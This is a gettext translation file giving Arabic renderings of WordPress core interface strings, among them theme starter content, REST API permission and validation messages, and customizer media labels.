msgid "This is an example of a homepage section. Homepage sections can be any page other than the homepage itself, including the page that shows your latest blog posts."
msgstr "هذا مثال عن قسم الصفحة الرئيسية. أقسام الصفحة الرئيسية يمكن أن تكون أي صفحة أخرى غير الصفحة الرئيسية نفسها, شاملة الصفحة التي تعرض آخر مقالات مدونتك."

#: wp-includes/theme.php:2396
msgctxt "Theme starter content"
msgid "News"
msgstr "الأخبار"

#: wp-includes/theme.php:2387
msgctxt "Theme starter content"
msgid "This is a page with some basic contact information, such as an address and phone number. You might also try a plugin to add a contact form."
msgstr "هذه صفحة تحتوي على بعض معلومات الاتصال الأساسية, مثل العنوان ورقم الهاتف. قد ترغب أيضًا بتثبيت إضافة لعرض نموذج مراسلة."

#: wp-includes/theme.php:2379
msgctxt "Theme starter content"
msgid "You might be an artist who would like to introduce yourself and your work here or maybe you&rsquo;re a business with a mission to describe."
msgstr "ربما أنت فنان حيث ترغب بتقديم نفسك وعملك هنا أو ربما لديك عمل مع مهمة ترغب في وصفها."

#: wp-includes/theme.php:2282
msgctxt "Theme starter content"
msgid "Recent Posts"
msgstr "أحدث المقالات"

#: wp-includes/theme.php:2276
msgctxt "Theme starter content"
msgid "Recent Comments"
msgstr "أحدث التعليقات"

#: wp-includes/theme.php:2371
msgctxt "Theme starter content"
msgid "Welcome to your site! This is your homepage, which is what most visitors will see when they come to your site for the first time."
msgstr "مرحبًا بك في موقعك! هذه صفحتك الرئيسية، التي سيراها أغلب الزوار عندما يزورون موقعك لأول مرة."

#: wp-includes/theme.php:2258
msgctxt "Theme starter content"
msgid "Calendar"
msgstr "التقويم"

#: wp-includes/theme.php:2270
msgctxt "Theme starter content"
msgid "Meta"
msgstr "منوعات"

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:813
msgid "Sorry, you are not allowed to change the comment type."
msgstr "عذرًا، غير مسموح لك بتغيير نوع التعليق."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:221
msgid "Sorry, you are not allowed to order users by this parameter."
msgstr "عذرًا، غير مسموح لك بترتيب المستخدمين بواسطة هذا المُعامل."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1225
#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1239
#: wp-admin/includes/user.php:62 wp-admin/users.php:131
#: wp-admin/network/site-users.php:146
msgid "Sorry, you are not allowed to give users that role."
msgstr "عذرًا, غير مسموح لك منح المستخدمين هذا الدور."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:196
msgid "Sorry, you are not allowed to filter users by role."
msgstr "عذراً، غير مسموح لك بتصفية المستخدمين بواسطة الدور."

#: wp-includes/class-wp-xmlrpc-server.php:3736
#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:936
msgid "Sorry, you are not allowed to delete this comment."
msgstr "عذراً، غير مسموح لك بحذف هذا التعليق."

#: wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:179
msgid "Sorry, you are not allowed to view revisions of this post."
msgstr "عذراً، غير مسموح لك بمشاهدة مراجعات هذه المقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:527
#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:535
msgid "Sorry, you are not allowed to create a comment on this post."
msgstr "عذراً، غير مسموح لك بإضافة تعليق على هذه المقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:509
#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:519
msgid "Sorry, you are not allowed to create this comment without a post."
msgstr "عذرًا، غير مسموح لك بإنشاء تعليق بدون مقالة."

#. translators: %s: Request parameter.
#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:481
#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:491
#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:501
msgid "Sorry, you are not allowed to edit '%s' for comments."
msgstr "عذرًا، غير مسموح لك بتحرير '%s' للتعليقات."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:134
#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:407
#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:543
msgid "Sorry, you are not allowed to read the post for this comment."
msgstr "عذرًا، غير مسموح لك بقراءة المقالة لهذا التعليق."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:399
msgid "Sorry, you are not allowed to read this comment."
msgstr "عذراً، غير مسموح لك بقراءة هذا التعليق."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:99
msgid "Sorry, you are not allowed to view menu items."
msgstr "عذراً، غير مسموح لك استعراض عناصر القائمة."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:140
msgid "Sorry, you are not allowed to read comments without a post."
msgstr "عذرًا، غير مسموح لك بقراءة تعليقات بدون مقالة."

#: wp-includes/theme.php:2337
msgctxt "Theme starter content"
msgid "GitHub"
msgstr "GitHub"

#: wp-includes/theme.php:2349
msgctxt "Theme starter content"
msgid "Pinterest"
msgstr "Pinterest"

#: wp-includes/theme.php:2333
msgctxt "Theme starter content"
msgid "Foursquare"
msgstr "Foursquare"

#: wp-includes/theme.php:2345
msgctxt "Theme starter content"
msgid "LinkedIn"
msgstr "LinkedIn"

#: wp-includes/theme.php:2361
msgctxt "Theme starter content"
msgid "YouTube"
msgstr "YouTube"

#. translators: %s: Custom field key.
#: wp-includes/rest-api/fields/class-wp-rest-meta-fields.php:230
#: wp-includes/rest-api/fields/class-wp-rest-meta-fields.php:276
#: wp-includes/rest-api/fields/class-wp-rest-meta-fields.php:375
msgid "Sorry, you are not allowed to edit the %s custom field."
msgstr "عذرًا, غير مسموح لك بتحرير الحقل المخصص %s."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:625
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:828
msgid "Sorry, you are not allowed to assign the provided terms."
msgstr "عذرًا, غير مسموح لك بإسناد العناصر المُقدمة."

#: wp-includes/class-wp-xmlrpc-server.php:1388
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:609
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:820
msgid "Sorry, you are not allowed to make posts sticky."
msgstr "عذرًا, غير مسموح لك بتثبيت المقالات."

#: wp-includes/theme.php:2243
msgctxt "Theme starter content"
msgid "About This Site"
msgstr "حول هذا الموقع"

#: wp-includes/theme.php:2244
msgctxt "Theme starter content"
msgid "This may be a good place to introduce yourself and your site or include some credits."
msgstr "قد يكون هذا مكانًا جيدًا لتقديم نفسك وموقعك أو تضمين بعض الشكر والتقدير."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:104
#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:144
msgid "Reassign the deleted user's posts and links to this user ID."
msgstr "إعادة إسناد مقالات المستخدم المحذوف وربطها بهذا المستخدم."

#: wp-includes/script-loader.php:1266
msgid "This theme does not support video headers on this page. Navigate to the front page or another page that supports video headers."
msgstr "هذا القالب لا يدعم استخدام الفيديو في ترويسة هذه الصفحة. انتقل للصفحة الرئيسية أو أي صفحة آخرى تدعم الفيديو في الترويسة."

#: wp-includes/customize/class-wp-customize-media-control.php:229
#: wp-includes/widgets/class-wp-widget-media-video.php:38
msgid "No video selected"
msgstr "لم يتم تحديد فيديو"

#: wp-includes/customize/class-wp-customize-media-control.php:225
#: wp-includes/customize/class-wp-customize-media-control.php:230
msgid "Select video"
msgstr "تحديد فيديو"

#: wp-includes/customize/class-wp-customize-media-control.php:231
msgid "Choose video"
msgstr "اختيار فيديو"

#: wp-includes/customize/class-wp-customize-media-control.php:226
msgid "Change video"
msgstr "تغيير الفيديو"

#: wp-includes/theme.php:2401
msgctxt "Theme starter content"
msgid "A homepage section"
msgstr "قسم الصفحة الرئيسية"

#: wp-includes/theme.php:2384
msgctxt "Theme starter content"
msgid "Contact"
msgstr "اتصال"

#: wp-includes/theme.php:2392
msgctxt "Theme starter content"
msgid "Blog"
msgstr "المدونة"

#: wp-includes/theme.php:2295 wp-includes/theme.php:2368
msgctxt "Theme starter content"
msgid "Home"
msgstr "الرئيسية"

#: wp-includes/theme.php:2325
msgctxt "Theme starter content"
msgid "Email"
msgstr "البريد الإلكتروني"

#: wp-includes/theme.php:2341
msgctxt "Theme starter content"
msgid "Instagram"
msgstr "Instagram"

#: wp-includes/theme.php:2376
msgctxt "Theme starter content"
msgid "About"
msgstr "حول"

#: wp-includes/theme.php:2353
msgctxt "Theme starter content"
msgid "Twitter"
msgstr "تويتر"

#: wp-includes/theme.php:2329
msgctxt "Theme starter content"
msgid "Facebook"
msgstr "فيسبوك"

#: wp-includes/theme.php:2357
msgctxt "Theme starter content"
msgid "Yelp"
msgstr "Yelp"

#: wp-includes/theme.php:2288
msgctxt "Theme starter content"
msgid "Search"
msgstr "بحث"

#: wp-includes/theme.php:2264
msgctxt "Theme starter content"
msgid "Categories"
msgstr "التصنيفات"

#: wp-includes/theme.php:2231
msgctxt "Theme starter content"
msgid "Hours"
msgstr "الساعات"

#: wp-includes/theme.php:2230
msgctxt "Theme starter content"
msgid "New York, NY 10001"
msgstr "نيويورك، 10001"

#: wp-includes/theme.php:2229
msgctxt "Theme starter content"
msgid "123 Main Street"
msgstr "123 الشارع الرئيسي"

#: wp-includes/theme.php:2233
msgctxt "Theme starter content"
msgid "Saturday &amp; Sunday: 11:00AM&ndash;3:00PM"
msgstr "السبت &amp; الأحد: 11:00ص&ndash;3:00م"

#: wp-includes/theme.php:2232
msgctxt "Theme starter content"
msgid "Monday&ndash;Friday: 9:00AM&ndash;5:00PM"
msgstr "الأثنين&ndash;الجمعة: 9:00ص&ndash;5:00م"

#: wp-includes/theme.php:2224
msgctxt "Theme starter content"
msgid "Find Us"
msgstr "ابحث عنا"

#: wp-includes/theme.php:2228
msgctxt "Theme starter content"
msgid "Address"
msgstr "العنوان"

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1303
msgid "Passwords cannot be empty."
msgstr "كلمات المرور لا يمكن أن تكون فارغة."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:178
#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:558
msgid "Invalid user parameter(s)."
msgstr "مُعامل (أو أكثر) غير صالح للمستخدم."

#. translators: %s: The '\' character.
#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1313
msgid "Passwords cannot contain the \"%s\" character."
msgstr "كلمات المرور لا يمكن أن تحتوي على الرمز \"%s\"."

#: wp-includes/script-loader.php:1254 wp-admin/customize.php:266
msgctxt "label for hide controls button without length constraints"
msgid "Hide Controls"
msgstr "إخفاء عناصر التحكم."

#: wp-includes/script-loader.php:1255
msgctxt "label for hide controls button without length constraints"
msgid "Show Controls"
msgstr "عرض عناصر التحكم."

#: wp-includes/media-template.php:416
msgid "Document Preview"
msgstr "معاينة المستند"

#: wp-includes/class-wp-customize-manager.php:5323
msgid "Header Media"
msgstr "وسائط الترويسة"

#. translators: %s: Add New Page label.
#. translators: %s: Add New taxonomy label.
#: wp-includes/class-wp-customize-control.php:632
#: wp-admin/includes/meta-boxes.php:672
msgid "+ %s"
msgstr "+ %s"

#: wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:383
msgid "REST base route for the taxonomy."
msgstr "أساس مسار الـ REST للفئة."

#: wp-includes/l10n.php:1581
msgctxt "default site language"
msgid "Site Default"
msgstr "لغة الموقع الافتراضية"

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:884
msgid "HTML caption for the attachment, transformed for display."
msgstr "كلمات توضيحية (HTML) للمرفق، مُعدة للعرض."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:879
msgid "Caption for the attachment, as it exists in the database."
msgstr "الكلمات التوضيحية للمرفق، كما هي في قاعدة البيانات."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:907
msgid "HTML description for the attachment, transformed for display."
msgstr "وصف HTML للمرفق، مُعد للعرض."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:902
msgid "Description for the attachment, as it exists in the database."
msgstr "وصف المرفق، كما هو موجود في قاعدة البيانات."

#: wp-includes/class-wp-customize-manager.php:6109
msgid "Please enter a valid YouTube URL."
msgstr "من فضلك أدخل رابط يوتيوب صالح."

#: wp-includes/class-wp-customize-manager.php:5437
msgid "Or, enter a YouTube URL:"
msgstr "أو, أدخل رابط يوتيوب:"

#. translators: %s: force=true
#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:989
msgid "The comment does not support trashing. Set '%s' to delete."
msgstr "التعليق ﻻ يدعم النقل لسلة المهملات، استخدم '%s' للحذف."

#. translators: %s: force=true
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:1052
msgid "The post does not support trashing. Set '%s' to delete."
msgstr "المقال ﻻ يدعم النقل لسلة المهملات، استخدم '%s' للحذف."

#. translators: %s: force=true
#: wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:465
msgid "Revisions do not support trashing. Set '%s' to delete."
msgstr "النقل لسلة المهملات غير مدعوم على المراجعات، استخدم '%s' للحذف."

#. translators: %s: force=true
#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:753
msgid "Terms do not support trashing. Set '%s' to delete."
msgstr "النقل لسلة المهملات غير مدعوم على العناصر، استخدم '%s' للحذف."

#. translators: %s: force=true
#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:891
msgid "Users do not support trashing. Set '%s' to delete."
msgstr "النقل لسلة المهملات غير مدعوم على المستخدمين، استخدم '%s' للحذف."

#: wp-includes/rest-api/class-wp-rest-request.php:698
msgid "Invalid JSON body passed."
msgstr "محتوى JSON غير صالح."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:653
#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:868
msgid "Comment field exceeds maximum length allowed."
msgstr "حقل التعليق تعدى الطول المسموح به."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2915
msgid "Limit result set to posts assigned one or more statuses."
msgstr "حصر النتيجة على المقالات المُسندة لحالة واحدة أو أكثر."

#: wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:367
msgid "Taxonomies associated with post type."
msgstr "الفئات المرتبطة مع نوع المحتوى."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2906
msgid "Limit result set to posts with one or more specific slugs."
msgstr "حصر النتيجة على مقالات مع اسم أو عدة أسماء لطيفة مُعينة."

#: wp-includes/class-wp-xmlrpc-server.php:3997
msgid "Comment is required."
msgstr "التعليق مطلوب."

#: wp-includes/class-wp-customize-nav-menus.php:952
msgid "Empty title."
msgstr "عنوان فارغ."

#: wp-trackback.php:116
msgid "Sorry, trackbacks are closed for this item."
msgstr "عذرًا، التعقيبات مغلقة لهذا العنصر."

#: wp-trackback.php:89
msgid "I really need an ID for this to work."
msgstr "أريد حقاً مُعرف (ID) لعمل هذا."

#: wp-includes/class-wp-customize-manager.php:5662
#: wp-admin/includes/file.php:39
msgid "Homepage"
msgstr "الصفحة الرئيسية"

#. translators: 1: Parameter, 2: Minimum number, 3: Maximum number.
#: wp-includes/rest-api.php:2543
msgid "%1$s must be between %2$d (exclusive) and %3$d (inclusive)"
msgstr "%1$s يجب أن يكون بين %2$d (حصرًا) و %3$d (ضمنًا)"

#. translators: 1: Parameter, 2: Minimum number, 3: Maximum number.
#: wp-includes/rest-api.php:2528
msgid "%1$s must be between %2$d (exclusive) and %3$d (exclusive)"
msgstr "%1$s يجب أن يكون بين %2$d (حصرًا) و %3$d (حصرًا)"

#. translators: %s: IP address.
#: wp-includes/rest-api.php:2212
msgid "%s is not a valid IP address."
msgstr "%s ليس عنوان IP صالح."

#. translators: 1: Parameter, 2: Minimum number, 3: Maximum number.
#: wp-includes/rest-api.php:2573
msgid "%1$s must be between %2$d (inclusive) and %3$d (inclusive)"
msgstr "%1$s يجب أن يكون بين %2$d (ضمنًا) و %3$d (ضمنًا)"

#. translators: 1: Parameter, 2: Minimum number, 3: Maximum number.
#: wp-includes/rest-api.php:2558
msgid "%1$s must be between %2$d (inclusive) and %3$d (exclusive)"
msgstr "%1$s يجب أن يكون بين %2$d (ضمنًا) و %3$d (حصرًا)"

#: wp-includes/script-loader.php:894 wp-includes/js/dist/components.js:44026
msgid "Item selected."
msgstr "تم تحديد العنصر."

#: wp-includes/rest-api/fields/class-wp-rest-meta-fields.php:514
msgid "Meta fields."
msgstr "الحقول الإضافية."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1457
msgid "Any extra capabilities assigned to the user."
msgstr "أي صلاحيات إضافية مُسندة للمستخدم."

#. translators: 1: Parameter, 2: List of types.
#. translators: 1: Parameter, 2: Type name.
#: wp-includes/rest-api.php:2131 wp-includes/rest-api.php:2241
#: wp-includes/rest-api.php:2263 wp-includes/rest-api.php:2286
#: wp-includes/rest-api.php:2401 wp-includes/rest-api.php:2472
#: wp-includes/rest-api.php:2601 wp-includes/rest-api.php:2669
msgid "%1$s is not of type %2$s."
msgstr "%1$s ليس من النوع %2$s."

#. translators: 1: Parameter, 2: List of valid values.
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:1536
msgid "%1$s is not one of %2$s."
msgstr "%1$s ليس واحدًا %2$s."

#: wp-includes/rest-api/fields/class-wp-rest-meta-fields.php:245
msgid "Could not delete meta value from database."
msgstr "تعذر حذف قيمة الحقل من قاعدة البيانات."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1563
msgid "Limit result set to users matching at least one specific role provided. Accepts csv list or single role."
msgstr "حصر النتائج على المستخدمين الذين يطابق دورهم دور واحد على الأقل. يمكن استخدام قائمة csv أو دور مفرد."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1427
msgid "Registration date for the user."
msgstr "تاريخ تسجيل المستخدم."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1380
msgid "The email address for the user."
msgstr "عنوان البريد الإلكتروني للمستخدم."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1442
msgid "Password for the user (never included)."
msgstr "كلمة مرور المستخدم (ﻻ يتم تضمينها أبدًا)."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1451
msgid "All capabilities assigned to the user."
msgstr "كل الصلاحيات المُسندة للمستخدم."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:736
msgid "Username is not editable."
msgstr "اسم المستخدم غير قابل للتحرير."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:900
msgid "Invalid user ID for reassignment."
msgstr "مُعرف مستخدم غير صالح لإعادة التعيين."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:850
msgid "Sorry, you are not allowed to delete this user."
msgstr "عذرًا، غير مسموح لك حذف هذا المستخدم."

#. translators: %s: Role key.
#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1207
msgid "The role %s does not exist."
msgstr "الدور %s غير موجود."

#: wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:702
#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:490
msgid "You are not currently logged in."
msgstr "أنت غير مسجل دخول حاليًا."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:535
msgid "Cannot create existing user."
msgstr "ﻻ يمكن إنشاء مستخدم موجود."

#: wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:436
msgid "Sorry, you are not allowed to delete this revision."
msgstr "عذرًا، غير مسموح لك بحذف هذه المراجعة."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:679
msgid "Sorry, you are not allowed to edit roles of this user."
msgstr "عذرًا، غير مسموح لك تغيير دور هذا المستخدم."

#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:1159
msgid "Limit result set to terms assigned to a specific parent."
msgstr "حصر النتيجة على عناصر مُسندة لعنصر أب مُعين."

#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:1165
msgid "Limit result set to terms assigned to a specific post."
msgstr "حصر النتيجة على عناصر مُسندة لمقالة مُعينة."

#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:1152
msgid "Whether to hide terms not assigned to any posts."
msgstr "ما إذا يجب إخفاء العناصر الغير مُسندة لأي مقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:1053
msgid "An alphanumeric identifier for the term unique to its type."
msgstr "مُعرف أبجدي رقمي فريد من نوعه للعنصر."

#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:1061
msgid "Type attribution for the term."
msgstr "خاصية نوع العنصر."

#: wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:78
#: wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:98
#: wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:725
msgid "The ID for the parent of the revision."
msgstr "المعرّف الرئيسي (الأب) للمراجعة."

#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:1136
msgid "Sort collection by term attribute."
msgstr "فرز المجموعة حسب خاصية العنصر."

#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:1026
msgid "Number of published posts for the term."
msgstr "عدد المقالات المنشورة للعنصر."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:74
#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1341
msgid "Unique identifier for the user."
msgstr "مُعرف فريد للمستخدم."

#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:1032
msgid "HTML description of the term."
msgstr "وصف (HTML) للعنصر."

#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:508
msgid "The template cannot be deleted."
msgstr "لا يمكن حذف القالب."

#: wp-includes/class-wp-customize-nav-menus.php:955
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2984
msgid "Status is forbidden."
msgstr "الحالة ممنوعة."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:100
#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:140
msgid "Required to be true, as users do not support trashing."
msgstr "مطلوب أن تكون true، لان النقل لسلة المهملات غير مدعوم على المستخدمين."

#: wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:198
msgid "Invalid revision ID."
msgstr "مُعرف مراجعة غير صالح."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2928
msgid "Limit result set to items that are sticky."
msgstr "حصر النتيجة على العناصر المُثبتة."

#: wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:446
msgid "Limit results to taxonomies associated with a specific post type."
msgstr "حصر النتائج على الفئات المرتبطة مع نوع محتوى مُعين."

#: wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:368
msgid "Whether or not the term cloud should be displayed."
msgstr "ما إذا كان ينبغي عرض سحابة العناصر."

#. translators: %s: Property name.
#. translators: %s: Custom field key.
#: wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:197
#: wp-includes/rest-api/fields/class-wp-rest-meta-fields.php:169
#: wp-includes/rest-api/fields/class-wp-rest-meta-fields.php:186
msgid "The %s property has an invalid stored value, and cannot be updated to null."
msgstr "الخاصية %s تحوي قيمة غير صالحة، ولا يمكن تغييرها إلى فراغ (null)."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:931
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2835
msgid "Limit result set to posts with a specific menu_order value."
msgstr "حصر النتيجة على مقالات مع قيمة menu_order مُعينة."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2786
msgid "Limit result set to posts assigned to specific authors."
msgstr "حصر النتيجة على مقالات مُسندة لكُتاب مُعينين."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2794
msgid "Ensure result set excludes posts assigned to specific authors."
msgstr "حصر النتيجة لاستثناء مقالات مُسندة لكُتاب مُعينين."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1606
#: wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:338
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2841
#: wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:793
#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:1120
#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1527
msgid "Offset the result set by a specific number of items."
msgstr "تخطي النتائج برقم محدد من العناصر."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2886
msgid "Limit result set to all items except those of a particular parent ID."
msgstr "حصر النتائج على العناصر الغير مرتبطة بعنصر أب مُعين."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2878
msgid "Limit result set to items with particular parent IDs."
msgstr "حصر النتائج على العناصر المرتبطة بعنصر أب مُعين."

#. translators: %s: Taxonomy name.
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:3147
msgid "Limit result set to items except those with specific terms assigned in the %s taxonomy."
msgstr "حصر النتائج على العناصر التي ﻻ تمتلك عناصر مُعينة مسندة في الفئة %s."

#. translators: %s: Taxonomy name.
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2577
msgid "The terms assigned to the post in the %s taxonomy."
msgstr "العناصر المُسندة للمقالة في الفئة %s."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2302
msgid "A password to protect access to the content and excerpt."
msgstr "كلمة مرور لحماية الوصول للمحتوى والمقتطف."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2479
msgid "Whether the excerpt is protected with a password."
msgstr "ما إذا كان المقتطف محمي بكلمة مرور."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2490
msgid "The ID of the featured media for the post."
msgstr "مُعرف الوسائط المميزة للمقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2547
msgid "The theme file to use to display the post."
msgstr "ملف القالب الذي سُيستخدم لعرض المقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2524
msgid "The format for the post."
msgstr "بنية المقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2540
msgid "Whether or not the post should be treated as sticky."
msgstr "ما إذا كان يجب معاملة المقالة على أنه مُثبتة."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2498
msgid "Whether or not comments are open on the post."
msgstr "ما إذا كانت التعليقات مفتوحة على المقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2504
msgid "Whether or not the post can be pinged."
msgstr "ما إذا كانت هناك إمكانية لإرسال التنبيهات للمقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2473
msgid "HTML excerpt for the post, transformed for display."
msgstr "مقتطف HTML للمقالة، مُعد للعرض."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:720
#: wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:259
msgid "The title for the object."
msgstr "عنوان الكائن."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2440
msgid "Whether the content is protected with a password."
msgstr "ما إذا كان المحتوى محمي بكلمة مرور."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2398
msgid "Title for the post, as it exists in the database."
msgstr "عنوان للمقالة، كما هو موجود في قاعدة البيانات."

#: wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:730
msgid "An alphanumeric identifier for the revision unique to its type."
msgstr "مُعرف أبجدي رقمي فريد من نوعه للمراجعة."

#: wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:535
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2403
msgid "HTML title for the post, transformed for display."
msgstr "عنوان HTML للمقالة، مُعد للعرض."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2287
msgid "A named status for the post."
msgstr "حالة مُسماة للمقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2468
msgid "Excerpt for the post, as it exists in the database."
msgstr "مقتطف المقالة، كما هو موجود في قاعدة البيانات."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2451
msgid "The ID for the author of the post."
msgstr "مُعرف كاتب المقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2459
msgid "The excerpt for the post."
msgstr "مقتطف المقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:267
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:1349
#: wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:143
msgid "Invalid post parent ID."
msgstr "مُعرف المقالة الأب غير صالح."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:1322
msgid "A sticky post can not be password protected."
msgstr "المقال المُثبت ﻻ يمكن أن يكون محمي بكلمة مرور."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:1333
msgid "A password protected post can not be set to sticky."
msgstr "المقال المحمي بكلمة مرور ﻻ يمكن تعيينه كمُثبت."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:1488
msgid "Invalid featured media ID."
msgstr "مُعرف وسائط غير صالح."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2244
msgid "GUID for the post, transformed for display."
msgstr "مُعرف (GUID) للمقالة، مُعد للعرض."

#: wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:703
msgid "GUID for the revision, as it exists in the database."
msgstr "مُعرف GUID المراجعة، كما هو موجود في قاعدة البيانات."

